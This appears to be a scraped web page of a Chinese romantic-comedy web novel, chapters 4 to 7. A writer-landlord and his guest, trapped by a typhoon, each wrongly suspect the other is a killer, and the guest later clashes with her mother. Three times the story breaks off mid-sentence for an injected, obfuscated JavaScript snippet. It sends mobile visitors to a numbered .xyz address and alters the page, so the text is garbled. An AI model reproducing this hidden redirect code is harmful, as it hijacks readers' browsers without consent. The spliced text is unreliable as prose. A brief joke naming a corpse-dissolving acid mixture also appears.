“我说大哥你终于回电话了!为什么把我的车停在路口啊!你知不知道刮台风啊!车都被树砸了——” “你先听我说!”闻知屿摞了把顺毛的头发,又焦急地搓搓裤腿,“头号紧急事件!新来的住客,她真的很奇怪!” 4. 第 4 章 书房的法式格子窗和黑色窗框不断碰撞,发出慑人的闷响。窗外风雨琳琅,气流狂暴不逊地冲击万物。 屋内的空气却有瞬息的凝滞。 秦建瓴幽幽地问:“能有你奇怪吗?” 闻知屿字正腔圆,“她比我还奇怪!” 那头传来了布料摩挲声,秦建瓴似乎刚从床上坐了起来,语调难掩兴奋,“还没见过比我们闻老师更奇怪的人!快展开讲讲!” 闻知屿挪了下屁股,确保重心在三角形小板凳上恰好居中,“首先,她会认真回答所有的问题,甚至会反问我还有没有要问的事情。之前的住客从来不会这样。” “确实。”秦建翎说,“他们只会立刻退房离开,或者藏在房间里直到第二天离开。” “……” 闻知屿低头,发自内心地叹气。他知道自己的问题有点超乎常理,可他能有什么坏心思呢? “继续继续,其次呢?”秦建翎追问。 “其次,她今天回答问题的时候,举着叉子对准我,在说''要扎他的眼睛、不识好歹的人活该眼瞎''眼神杀气腾腾,恨意过于明显。”闻知屿沉声说,“当时的我,害怕极了。” “嘶——你那住客男的女的?” “女。” “……多高?长什么样?” 闻知屿认真回忆,“不到我的肩膀,体型小小的,但眼睛很大。” 秦建翎深吸一口气,吐掉,又深吸一口气,又吐掉。几番欲言又止后,他说:“人家住客只是个小姑娘。你个185的大男人,你在这说P呢!!!” “小姑娘怎么了?”闻知屿严肃,“她那双大眼睛盯着我的时候很恐怖的,说完扎眼睛之后还鹅鹅鹅的笑,特别诡异。” “……”秦建瓴试图理解,“有没有可能,你菜叶塞牙缝了她才笑?” 闻知屿打开前置摄像头,咧嘴,将牙缝对齐,上上下下左左右右观察了一遍后说:“没有,我的牙很干净。” ——就是嘴唇还有点疼。 失误,纯失误。都怪他忘记了院子有一半没铺石板。 “人家想笑就笑呗,你还管人家为什么笑?”秦建翎话锋一转,“你的新小说写得怎么样了?” “不怎么——现在在说头号紧急事件,不要转移话题。” “你要不喜欢你就让她离开,这有什么难的……” “台风天,她一定会赖着不走的。没那么容易。” 秦建翎无语,“那你给我打电话什么意思?台风,我又飞不过去。” “我只是提醒你,万一出任何事,追查入住登记簿6月13日入住的叫韩暑的女人。”闻知屿加重语气,“以及深刻谴责,你非要开民宿的一意孤行。” “不是,我费劲吧啦办那么多手续是为了谁?还不是你说想要新脑子?” “民宿开了三个月,我连半个脑子都没收集到。” “给你机会了,是你不中用。” “……” 闻知屿觉得秦建翎说的对,确实是他不中用。 “等台风结束你来一趟琼岛吧,我不想开民宿了。”他蔫蔫巴巴地说。 “开不开民宿另说。但我绝对第一时间赶到,我的车还在水里泡着呢!”秦建翎咬牙切齿,“到底为什么把车停在路边?别墅的车库你空着下蛋?” 闻知屿眨了眨眼,认真回忆了一番,恍然大悟,“那天我本来要开回别墅的,但路过看到有人玩跳跳杆,就去学习了一下。” 秦建瓴气疯球,“……修车钱你掏!” “好的。”他自觉理亏。 “还有,别在这犯被害妄想症了。你夸下海口的第一本现实题材受精卵还没着床呢,专心点吧大作家!” 秦建翎说完毫不犹豫地挂了电话,留闻知屿对着黑掉的手机屏叹息。 到底谁是经纪人谁是雇主?倒反天罡。 现在怎么办?他的住客真的好奇怪。 在这样的天气赶她走吗?且不说对方是否同意,他良心都有点不安。再者,她的回答虽然不是他想要的方向,但总是出乎意料,还挺有趣。 闻知屿急忙摇头,把这想法甩开。 前两个问题他确实被惊艳了一下,但到第三个问题,她盯着自己的样子显而易见,将对丈夫的恨意投射到了他身上。 就算可以用沉浸式回答问题解释,最后一句“住别墅很有钱”结合舞动叉子的动作,那就是赤裸裸的威胁。她的婚姻生活不幸,穿着比较简单,结合反复追问房费的举动,说明她的经济状况不太好。 ——她不会想趁台风天杀人分尸然后鸠占鹊巢吧?! “你这纯属被害妄想症,怎么可能有人吃脑子啊?”凌琳笑出声。 韩暑不自觉抠手,“那万一是做成标本收集起来呢?” “宝,你这脑洞也太大了点。” “可是他说收集脑子的时候特别认真,根本不像是开玩笑!” “嗯……”凌琳想了想,“有没有可能,他指的不是物理层面而是精神层面的脑子?” “精神层面怎么收集?就通过问几个creepy的问题?”韩暑肯定,“他就是很奇怪!” “那你说怎么办?刮台风又没法换地方,你还得和他在一个屋檐下待好几天。” “不知道。”韩暑托着下巴,忧郁望天,“我去派出所打地铺,警察叔叔会同意吗?” “可别,你那是妨碍公务。而且你想想,他要真是不法分子怎么敢开在警察局旁边?” “万一是灯下黑呢?” “我觉得不——”凌琳卡顿,忽而压低嗓门,“我们主管来了,你别多想有事发微信啊!” “哎不是——” 回应韩暑的只有挂断后的忙音。 现在怎么办?她的房东真的很奇怪! 回想起来,从一开始的入住条件就透着诡异。为什么设定这样的限制条件呢? 琼岛旅游业发达,来这十有八九都是度假,情侣夫妻家庭居多。能满足这个条件的已婚旅客必定是独行,一来和另一半关系不合感情淡漠,出来散心大概率是闹了矛盾,长时间不联系不会引起怀疑。二来父母很可能不清楚感情破裂的事实,大概率也不知道当事人在琼岛。 ——他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15903482|176738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不会已经在准备动手了吧?! 别墅内,是死一样的寂静。 十点……十一点……十二点……一点…… 时间一分一秒的流逝,韩暑的肚子和心跳交相辉映,奏鸣的频率也在指数倍递增。 经过长达半小时的天人交战,韩暑投降了。 饿,太饿了! 她就是典型的一顿不吃饿得慌的人,一顿,都不能少! 韩暑细细思索。悬疑电影里,凶手总是会做好伪装等待时机,在主角发现蛛丝马迹后,才不得不提前下手。因此,她必须表现得一切如常,并做好万全准备,才能在时机到来时反杀。 她跑去卫生间,徒手卸下墙上挂毛巾的杆别在阔腿裤后腰,又换了一件宽松的衬衫遮掩。照照镜子,毫无痕迹。完美。 韩暑脱掉拖鞋,光脚走到门边侧耳倾听。没有声音。 于是缓缓开锁,拉开一道隐蔽的缝隙上下左右窥探。没有人。 很好。 她将以百米赛跑的速度冲进厨房,打开冰箱,取出第一层的2L牛奶和最下一层的燕麦片,再百米冲刺回房,然后靠这些食物扛到台风结束。 就这样。这绝佳计划一定可行。 韩暑深呼吸,开门的瞬间弹射起步—— “砰!” 她和从楼梯下来的闻知屿撞了满怀。 这一下冲击力太大了,韩暑后背狠狠撞上门框,头晕眼花好半天才缓过劲来。抬头一看,闻知屿正半伏在楼梯栏杆上,一手扶腰,黑眸散发幽幽寒光。 两人视线交错。 ——都没敢动。 敌不动,我不动。 韩暑一边恶狠狠地瞪回去,一边不着痕迹地摸向后腰。 只要他敢动一下,她就抽出杀器吓死他! 一尘不染的精装走廊上,一男一女间隔两米,相对而立僵持不下。直到—— 闻知屿抬起右脚,向楼梯上方倒退了一步。 与此同时,韩暑闪身扑进房间,手忙脚乱地去拉门把手。 “啊——” 脚趾传来一阵剧痛,她顾不得去看,狠狠甩上门,“咔哒”一声上了锁,才缓缓滑坐在地抱着脚哀嚎。 好狼狈好狼狈!非但没有震慑到他自己还负了伤! 创业未半而中道崩殂,不过如此! 另一边,闻知屿站在楼梯上缓缓挑眉。 不是,难道不该是他仓皇而逃吗?剧本为什么反过来了? 不过也好,round1结束,避免了一次冲突。 “呼——”闻知屿舒了口气,揉揉撞上栏杆钝痛的后腰,对自己展开深入灵魂的谴责。 这是自己的家,他怎么能如此鬼鬼祟祟呢? 该心虚的另有其人。 于是闻知屿大步流星走向厨房,全然忘记自己还光着脚。加热午饭时,他瞄见了柜子里的擀面杖,想了想,抽出来将一头别进裤兜。 一切准备完毕,他在餐厅安然坐定,夹起一块牛仔骨,正准备大快朵颐安慰干瘪的胃—— “咔哒!” 1号客房的门打开了。 5. 第 5 章 闻知屿左手攥住了擀面杖。 秦建翎说他有被害妄想症,但诸多奇怪的迹象不能忽视。 轻巧的脚步声后,一颗毛茸茸的脑袋出现在客厅电视墙的拐角处。栗棕色发梢恰好没过浅蓝色衬衫领,眉上刘海向三个方向自由地翘着,显得有些俏皮,但那双溜圆的杏眸却和台风天一样阴沉。 韩暑随意地扫了他一眼,挺胸抬头走进厨房。 闻知屿:? 怎么回事?这奇怪的感觉是怎么回事? 很快,厨房传来水流声、微波炉开合声和预示加热完成的提示音。伴随着热牛奶的香气,韩暑径直走到闻知屿对面的位置坐定,狼吞虎咽地吃了起来,完全视他为空气。 怎么回事?方才拔腿就跑现在理直气壮,到底是怎么回事? 闻知屿发动脑筋,汲取为数不多的社会化经验,用一只手指推了推放牛仔骨的盘子,“吃吗?” 散发诱人香气的牛仔骨,就不信她忍得住。他要通过自然的方式试探,观察她的表情语调等常人无法注意的细节,并以福尔摩斯的专业素养推理出她最真实的欲望。 待她吃完第一口,他会聊一聊牛仔骨的烹饪方式,聊一聊牛仔骨隶属的部位,再状似无意地提及人类肋骨的硬度和杀人分尸的难度。 如果她面露嫌恶,便是正常反应。但若她过于冷静或过于惊恐,那就说明—— 韩暑眼皮都不抬,“不吃。” “……” 闻知屿慢慢把盘子拉回来。 她怎么变得这么不友好?暴露邪恶动机后完全不打算装了,是吗? 他咬了一口最爱的蒜香牛仔骨,却味同嚼蜡,只得悻悻地放下筷子。 “第四个问题。”他说。 勺子和碗沿轻撞。韩暑抿唇,终是和他对视。 闻知屿把擀面杖握得更紧了些。 这样一位身材娇小、笑起来天真无邪的女人,怎么能拥有一双如此恐怖的眼睛?乌黑的瞳仁一动不动凝视他,像两只黑洞洞的狙击枪口,预示最致命的袭击。 而他,会将袭击转化为一场博弈。一场明牌的博弈。 闻知屿用指节轻叩桌面,“如果你要杀我,会选择什么方式?” 看看,他是多么气定神闲,说起杀人方式时眼都不眨,好像杀人和碾死一只蚂蚁一样简单。看看,他单手抄兜的动作——虽然攥着擀面杖,是多么漫不经心,简单的坐姿都是碾压全场的自信。 果然,韩暑眼里的凌厉之气遇挫。她不答反问:“我为什么要杀你?” 闻知屿靠住椅背,“你可以给自己一个合理的原因。” 韩暑不自觉舔了舔唇。 心虚了吧?紧张了吧? 闻知屿唇角有一毫米的上扬,“或许是临时起意,也可能是早有预谋。” 说话间,后院一株瘦小的蓝雪花被连根拔起,簇状的花头先是撞上餐厅的玻璃,而后落入泥里,几个翻滚后便看不出原本的色彩,原本绚丽的生命就此划上句号。 真应景。 韩暑看它,仿佛在看自己。 什么她杀他?这是让她自己选择死亡的方式!变态! 要从气场上给变态压力,就得比变态更变态! 韩暑悄悄把手背后握住后腰的棍,皮笑肉不笑地问:“你有什么偏好的方式吗?” 她其实是想模仿恶女笑意盈盈的,但因为紧张面部肌肉有点不听话。不过没事,低配版,管用就行。 闻知屿蹙眉思索片刻,道:“我喜欢血腥一点。” OMG!血腥! 韩暑深吸一口气,嘴角笑得有点僵,“真巧,我也是。夹成肉饼、分尸——哦,化尸水你知道吗?” “过氧化氢兑浓硫酸*。”闻知屿颔首,“略有耳闻。” 略有耳闻?这是如数家珍! 韩暑上上下下把闻知屿看了个遍,依旧难以置信。家境优渥,长相优越,气质孤冷卓绝——忽略跳跳杆事件的话,就连从袖口露出的一截手臂都骨骼分明线条流畅,这样的人为什么会是变态?! 下定决心从房间里出来,一方面是担心自己是不是真的被害妄想,冤枉了他。另一方面是要找回场子,告诉他自己也不是善茬,做坏事前掂量掂量。 现在好了,确定了,房东就是变态。 但光她知道不行,报警需要证据。 韩暑不着痕迹地摸了下手机,录音功能正在运行。 “你问的问题总是涉及杀人,为什么?”她问。 闻知屿淡声提醒,“第四个问题。房费。” 韩暑咬咬牙,“我选下毒。” ——只要不吃不喝就能防范。 “在哪下?”闻知屿轻抬下巴,“牛仔骨吗?” “牙刷。”韩暑不假思索。 说完她陡然回过神,她在说什么!为变态提供杀人思路吗?! 果然,闻知屿眼尾微挑,黑眸中有强烈的情绪闪过。 韩暑懊恼,把下巴抬得比他更高,“现在该你回答了,为什么总问杀人的问题?难道你想实践?” 闻知屿一只手肘撑于桌沿,身体前倾,“问题只是问题而已。就是不知道,答案是不是只是答案?” 暗示!又是暗示! 韩暑觉得他讨厌极了,说话冷冷淡淡还爱绕圈,到底想怎样?! 韩暑不干了,选择掀桌。 “你收集脑子?” “是。”闻知屿坦然。 “……你收集什么样的脑子?” “你这样——” 韩暑嗖地起身,伴随着椅子腿和地面摩擦的刺耳声响,枪灰色铝杆出鞘。 闻知屿眸色倏冷,长腿一伸椅子向后滑去。 “砰!” 擀面杖和铝杆相接,虚空中火花四溅。 韩暑手有点抖,赶紧双手持杆,“你你你你不要乱来啊!” 闻知屿保持着坐姿,喉结滚动了下,“是你别乱来。” “你先放下棍,我就放下杆!” “你先。” “那那那三二一一起放!” 男人想了想,“好。” 韩暑重心在两只脚之间来来回回地移动,强行克制住骨骼肌颤栗。 “三——”她颤着嗓。 棍和杆同时下落了两厘米。 “二——”闻知屿应。 棍和杆同时又下落了两厘米。 “一!” 棍和杆同时抬回四厘米,对准了对方的脸。 韩暑:“……” 闻知屿:“……” 他们像是演特工电影,只不过是在幼儿频道播出。 韩暑语塞,四年本科教育和三年工作经验都没有教她该怎么处理这一场景。 闻知屿一样抿唇不言。 外面是“世界末日”,屋内是“擀面杖惊魂”。 怎么办? 韩暑开始估算从餐厅奔向大门还不被追上的概率。餐厅通往客厅需要绕过电视墙和沙发一端,然后迅速左拐跑过五米的门廊。可闻知屿更靠近逃跑的方向。 她大脑飞速运转,与此同时环视四周,去排除所有可能的风险点。于是一不小心,发现房顶上有两个黑影在向餐桌方向移动。 定睛一看—— “啊啊啊啊——” 是一大一小两只壁虎! 韩暑尖叫后退,脑海中瞬间浮现刷到过的帖子,问房顶有壁虎怎么办。评论有的说没事有壁虎没蚊子,有的说它不会下来的。但是!有人说亲身经历,它会掉下来!还掉在了人身上!有图有真相! 两只壁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15903483|176738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虎倒挂于天花板,如入无人之境,自由自在地绕着吊灯爬行。 韩暑不断倒退,直到背抵墙角,三面被障碍物包围。 退无可退,她绝望祈祷。 不要再过来啊! 终于,壁虎跨物种听懂了她的崩溃,在距离头顶正上方不到一米的地方停了下来。 它们不动,韩暑依旧不敢动。 突然,她感觉哪里不对。 三面?为什么是三面? 韩暑寸寸回眸,对上了一双近在咫尺、同样掺杂着无措和不解的眼睛。 两束目光碰撞后同时下移,视野里是两只紧紧相贴、毫无缝隙的手臂。 一只是她的,一只是闻知屿的。 韩暑:?? 闻知屿:!! 两人嗖地向彼此的反方向挪了一步,不约而同看到彼此手中的武器后,又不约而同贴着一左一右的墙根溜出去两米远。 “你把棍放下!”韩暑举着铝杆,又要警惕闻知屿又要时刻观察壁虎,眼珠子来回摆动的频率快把眼眶擦出火星子。 闻知屿同样举着棍,同样眼神逡巡,“你先。” 一切都回到了最初的起点,外加两只灰突突、看起来很黏手的爬行动物。 三方对峙,壁虎率先打破天平。 靠近韩暑那一只像安了雷达一般直冲头顶而来,她本能往角角缩,发现自己在靠近闻知屿后又往反方向挪,可这样又会靠近壁虎。 在原地横跳的时间,壁虎已经从天花板爬到了身后的墙壁。 韩暑手忙脚乱地后退,却被凳子腿拌住,在一通徒劳地挥舞双臂后终是跌坐在地。 这一瞬间,情绪的骆驼被最后一根稻草压住,彻底崩盘。航班取消,四处碰壁,独自在大风大雨中挣扎,房东的威胁,还有这两只该死的壁虎…… 闻知屿眼睁睁看着她以一个滑稽的姿势跌倒,又眼睁睁看着她呜呜咽咽的哭了起来。豆大的眼珠断了线似的从那张小圆脸滑落,很快就在浅蓝色衬衫的前襟晕出一片深影。 他飞速瞟了眼两只壁虎的位置,确定自己安全后试探道:“你是真哭,还是——” 为了降低我的警惕。 回应他的是女人喷火的目光,和愈发汹涌的眼泪。 “……”闻知屿语塞。 不是,明明是她心怀不轨,为什么她哭得这么伤心? 他决定暂不相信她的示弱,冷声道:“这里离派出所几步的距离,我也认识派出所的民警,所以无论你有什么计划都不可能成功。只要你安分守己,台风结束之前我不会赶你走,这些全当没发生过——” 铝杆径直冲闻知屿飞了过来。他闪身躲过,眉宇间已有薄怒。 “你个变态倒打一耙!”韩暑狠狠抹了把眼泪,“你个收集脑子的变态!我安分守己你就能轻而易举地杀了我吃脑子是不是?我告诉你我已经把定位发给我朋友了,只要我一小时不回信息她就会报警!” “……啊?”闻知屿的脸上先是空白,随后变得五颜六色。 吃脑子?谁说他吃脑子?为什么会相信有人吃脑子?这女人的脑子到底怎么长的?思维怎么会这么神金? 韩暑一边抽噎一边喘粗气,看眼神恨不得把他生吞活剥。 这回,闻知屿决定相信她是真的哭了,缓缓放下了擀面杖。 他是不是有被害妄想症啊?她是不是也有被害妄想症啊?现在怎么办?他应该怎么解释?她会相信吗?不对,她也应该做出解释,解释为什么会认为他吃脑子!可她哭得这么凶会配合吗?哦还有壁虎,头顶还有两只令人毛骨悚然的壁虎。 “我们之间似乎有什么误会。”闻知屿竭力让语气和缓,甚至还挤出一抹表达友好的笑容,“或许,你能先处理一下那两只壁虎,然后我们再谈吗?” 6. 第 6 章 话音将落,两只壁虎成精恰到好处地动了一下。 韩暑逃也似的钻到餐桌下面,抱膝怒视闻知屿,用实际行动表示拒绝。那眼神,着实是又惊又怕。 不是吧?真的是被他吓到了吗? 闻知屿默默叹了口气,小心翼翼绕过壁虎下方的位置,从书架上抱下来一摞书,放在餐桌边的地板上。 韩暑立刻往里缩。 他将书脊转过去后,举起双手后退了几步,“我叫闻知屿,这是我的小说集,里面有作者详细信息。” 韩暑吸了吸鼻子,伸手抽了最上一本后又缩了回去。 这本书不薄不厚,纯黑色封皮,右下角有一株烫金色的马蹄莲,右上角竖排版三个烫金色大字——晚安集。如他所说,封面内页处便是作者简介。 第一行—— 闻知屿,超现实主义作家。 超现实主义*。 她往后翻了两页,恰好翻到第一章。 第一句话—— 他的血管变透明了。出生30年后,他终于发现自己的血管里流淌着三种颜色不同的液体。 韩暑:? 闻知屿察觉到她的呆滞,道:“总结,我是个作家,我不吃人脑子。” “……”韩暑弱弱反问,“那你说你收集大脑?” “脑洞、灵感、思维,通称脑子。不是火锅涮脑花。”闻知屿不是爱笑的人,但此刻被气得直想笑。 韩暑终于为自己离奇的猜测感到羞耻和理亏,于是把头往另一个方向偏了偏,恰好看到掉在地下的擀面杖,“你你不是变态你为什么揣一根棍!谁知道你有没有别的坏心思!” “我是为了防身。” 韩暑瞪大眼睛,难以置信道:“防什么身?防我?” “当然。”闻知屿说,“你总是用现在这种威胁的眼神瞪我,打探我的经济状况,还说要住很久、要用叉子扎眼睛,还会发出‘鹅鹅鹅’的笑声。我不该害怕吗?” 韩暑:…… 疯了,疯了! 这合理吗?! 韩暑狂怒,“我说你住别墅很富就是打探经济状况吗?我住到台风结束那不是还有很久吗?叉子扎眼睛不是为了回答你的问题吗?我笑……我在笑……” 闻知屿那张俊脸一如既往的淡漠,但韩暑莫名觉得,他像一只竖起尾巴的猫一样耀武扬威。 呵。 她大声说:“我在笑你的欧式厚唇!” “嗯?”闻知屿愣怔。 韩暑抬起下巴睨他,“你这人可怕得很,但是跳跳杆玩得挺不错。” 闻知屿:“……” 跳跳杆一出,气焰全无。 一个人的羞耻长呀长,变成了两个人的羞耻。 半晌,男人抓抓下巴,试图打破尴尬,“所以,误会解除了是吗?” 韩暑把书丢了回去,抱膝缩在角落里又不说话了。她烦得很,思绪也很混乱,最重要的是她不想去处理那两只可怕的生物。 这种棘手的情况对于社交技能有限的闻知屿而言,太难了。他选择掏出手机,拨通秦建翎的电话。 “大作家又怎么了?” “我的住客,她——” 秦建翎忍无可忍,“她很奇怪我知道,但一小姑娘杀你还是有点难度的好吗?!” 面对他的讽刺,闻知屿语调平平,“我需要你,通过电话跟她解释一下。” “解释什么?” “解释——”闻知屿默了默,“我不吃人脑。” “……哈?” 当韩暑拿到电话时,对面的笑声简直能掀破屋顶。 “哈哈哈哈哈哈哈姑娘,闻知屿说的没错,你确实和他一样奇怪哈哈哈哈!” 韩暑从颈侧到脸颊到耳朵通通在燃烧。两人一起羞耻起码不会互相嘲笑,旁观者就不一样了。 她选择沉默,当鸵鸟。 秦建翎笑够了之后道:“姑娘你别怕,他就是个单纯的宅男作家,虽然脑子有点问题吧但绝对没坏心思。” “咳!”举着扫把和壁虎斗智斗勇的闻知屿警告。 秦建翎话锋一转,“话说姑娘,那地儿这么偏,你怎么找到的?” 她动了动耳朵,莫名觉得对面的声音有些熟悉。可能温柔的男声都很相近吧。 “酒店都满房,无意中找到的。”韩暑小声应。 “台风天,你一个人很不容易吧?”秦建翎温声安抚,“这几天你就安心住着,他问什么你都别搭理,好好休息。” 一个陌生人,隔着一部陌生的手机,给予韩暑连日以来最需要的、最简单的问候和关怀。她鼻子一酸,瓮声瓮气地说谢谢。 如此有人味的经纪人,竟然要服务于如此没人味的作家。韩暑对他产生了浓浓的心疼,与此同时对闻知屿产生了浓浓的嫌弃。 她嫌弃地瞥了没人味那位一眼,恰好看到壁虎遇袭后落地,某人皱着脸、一边挥舞扫把一边无能后退的场景。 ——害怕的样子比面无表情的时候有人味多了。 闻知屿独自奋战十五分钟,终于用垃圾桶扣住了两位危险分子。他扔掉扫把,撑着桌沿喘气。 韩暑从另一侧桌沿冒头,“壁虎,你打算怎么处理?” “益虫,扔出去放生。” 韩暑视线飘向窗外,很快又飘了回来,嗫嚅:“现在扔出去似乎、可能是处死。” 院子里的植株各个似弯弓。闻知屿对处死的说法心生赞同,于是问那颗蘑菇脑袋:“你要养它?” 韩暑摇摇头,“我们,养它们。” 闻知屿:…… 我们?哪来的我们?这颗蘑菇脑袋真的很奇怪! 韩暑爬起来,因为腿麻踉跄了好几下才站稳,“内个……能不能就养几天?台风结束我走,它们也走。” “不是害怕吗?”闻知屿拧眉,“你怎么养?” 韩暑环视四周,“有没有不要的纸箱子?放进去、抠个洞?” 十分钟后,闻知屿坐在沙发上怀疑人生。 他面前,一万八的moggolo茶几上,是一只泡湿一只角、本该扔进别墅区可回收垃圾桶的纸箱子。纸箱子里,是两只令他毛骨悚然的生物。方才还怕的抱头鼠窜的蘑菇脑袋正蹲在茶几边,透过一厘米宽的透气孔朝箱子里看。 奇怪,太奇怪了。 “要给它们喂吃的吗?”蘑菇脑袋问。 闻知屿无语,“它们是宠物吗?” 韩暑刚想反驳,见他面色不虞后缩缩脖子没敢说话。 问题先生双腿交叠,一只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15903484|176738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手臂搭在沙发扶手,修长的手指有一下没一下的点着,因为垂着眼帘显得眼尾微微上扬,锋利的眉骨落下一片阴影。 呵。 她不会再被外表欺骗。 韩暑继续装作认真观察壁虎的样子,寄希望于这尊大佛先离开。现在乌龙解除,尴尬还是尴尬的,但更重要的是她可以放心大胆的做一顿美味的午餐。 方才吃牛奶燕麦纯粹是为了裹腹,还没吃完。 但他怎么毫无离开的意思? “你和你丈夫在一起,也是和我一起的这种画风吗?”闻知屿冷不丁问。 韩暑大惊失色,“谁和你一起?!” 她的人设可是已婚女性! “抱歉。”闻知屿摁了下眉心,调整措辞,“我的意思是,你这么……奇妙的思维模式,你丈夫知道吗?” “知道啊。”韩暑撇嘴,“他不喜欢,觉得我异想天开,不踏实过日子。连滑板都不让我学,觉得没个女人样。” 闻知屿茫然,“滑板,和性别,有什么关系?” “是啊……你这么奇怪都能想通的道理,他为什么想不通呢?” “……”闻知屿一时不知道是被夸了还是被骂了,“那你学滑板了吗?” 韩暑笑了下,“没有,我说不过他。” 蘑菇脑袋还抱膝坐在茶几边,栗棕色的发遮挡下只能看到小半张脸,通红的杏眸便更引人注目。提起丈夫。她心情似乎很不好。 闻知屿收回视线。 啧,麻烦。 开民宿麻烦,这位住客麻烦,一切都很麻烦。 下一秒,他又看了过去,看到蘑菇脑袋紧紧抿住的唇,有点委屈巴巴,又有点倔强。 他又收回视线。 啧,真麻烦。 幸好民宿不允许住超过七天,要是长租的话还不知道会麻烦成什么样子。 闻知屿莫名有些心烦,但眼神控制不住再次飘了过去。她今天穿了一件浅蓝色衬衫和牛仔蓝的阔腿裤,是黑白灰的家里唯一的色彩。 真刺眼,他刚想嫌弃地扭头不看,却瞥见一抹深红。 麻烦!!! 韩暑正沉浸在自己的思绪中,身侧忽然一阵风拂过。她回头,只看到了闻知屿大步流星离开的背影,气呼呼的。 莫名其妙。 她叹了口气,戳戳纸箱,“你们俩是一对吗?还是伙伴?母女?” 壁虎自然不会回答。 不喜欢她天马行空的不是根本不存在的丈夫,而是她的父母。 方才还想吃饭的韩暑,此刻食欲全无,一根手指头都不想动。于是便这样静静坐着,任思绪纷飞。 离开的风又吹了回来。 “砰!” 韩暑吓得一哆嗦,抬头,面前的茶几上多出了一瓶碘伏和一袋棉签。仰头,男人单手抄兜,侧脸绷得很紧。 “你那杆哪卸的?赶紧安回去。”闻知屿没好气。 说罢,转身又走了。 韩暑疑惑地拿起药瓶,是碘伏没错。再细细一看,没过期。 什么意思?给她的?为什么给她? 忽然,韩暑想起了什么。低头一看,她发现因为抱膝的动作裤腿刷起,露出了脚踝,也露出了脚踝上约莫三四厘米、已经发炎的伤口。 7. 第 7 章 “嘶——呼——” 韩暑一边疼得倒吸气一边给自己呼了呼。 伤口泡了雨水后发炎,又没及时处理,已经生了脓。她用占了碘酒的棉签一点一点清理,弄完已经是一身薄汗。 这人做好事就做好事,怎么还凶巴巴的,怪傲娇。 韩暑把碘酒和棉签放好,受伤的脚悬空在床沿以防弄脏床品,这才倒头躺下。翻腾了一阵,她终于拨通了徐女士的电话。 心跳随嘟嘟声而加速。 “喂。” “……妈。” 韩暑有许多话想说。比如琼岛的椰林长廊很美、糟粕醋海鲜粉很好吃,比如她第一次经历台风、第一次在台风中奔波寻找住所,比如她的房东特奇怪、还是一个作家。再比如……她还是很迷茫,不知道自己能做什么、想做什么。 徐英略显沙哑的声音传来,“什么时候回来?既然已经辞职,既然你对之前的工作不满意,就拿出实际行动来。要么准备考试要么准备夏招,一天天净让人看笑话。” 韩暑闭了闭眼,“妈,我觉得特别累,想休息一段时间。” “累?这就觉得累?”徐英笑了声,“典型的没吃过苦,身在福中不知福!你一个女孩子,有这么稳定的工作多好,多少人想考都考不上,你说累?” “嗯。”韩暑低声说,“每天不仅重复做一些无意义的事情,还要四处受气。我觉得好累。” “大家都是这样,都能忍,怎么就你忍不了?都是普通人过着普通的一生,你说工作无意义,那做什么有意义?!” 不知为何,韩暑想到了闻知屿和他那一摞小说集。他做的事情似乎很有趣、也很有意义。 旋即她甩甩头,“我没有否定这份工作,只是我不适合。妈,我真的想休息——” 徐英怒道:“还想着休息?简历上的空档你怎么解释?如果没有一份体面的工作,你怎么找对象?” 韩暑有些无力,“我都没弄明白自己的人生,为什么要掺和别人的人生?” “男怕入错行,女怕嫁错郎。结婚是女人一生最重要的事。你今年25岁,该考虑起来了。” 每一次沟通,都会回到原点。 徐英还在引经据典、逻辑清晰地灌输她的观念。不愧是语文老师,不愧是中学语文老师。 韩暑将脸埋进松软的枕头,呼吸变得不畅,但能阻隔她不想听的话,便这样定定地趴着不动。 穿这么松垮的裤子像个假小子,换了,要有女孩的样子。 在学校要听话,老师喜欢乖孩子。 学什么滑板?赶紧去练琴,以后遇到展示的机会才能惊艳四座。 你这画的什么?这次月考又退步了还不抓紧?你知不知道只有考个好大学才能找个好工作。 好?哪里好?怎么算好?对谁来说好? 曾经韩暑以为,父母的安排便是好。于是按照母亲的喜好去学钢琴,按照父亲的指引选择会计专业,又在双方一致认可下考入先前的单位。哪怕她喜欢的是滑板、想学的是考古、不想进体制。 辞职后,父母的不支持在意料之中,但她没想到一向理性的徐女士会说出“你没了这份工作,连相亲都没人愿意要”这样的话,而一向视她为骄傲的韩先生会失望地问“你还是我的乖女儿吗”。 好像她人生的价值就是做一个好女儿和好妻子,有一个好工作让父母满意,所以是乖女儿。有一个好工作在相亲市场受欢迎,最终成为好妻子。 她花了25年,讨父母、讨老师、讨领导、讨身边所有人的欢心。但她现在不想这么做了。 “——听见了没?不管你在哪,立刻,买机票回来!” 韩暑遽然翻身,望着天花板,“妈我暂时不回去了。” “你说什么?” 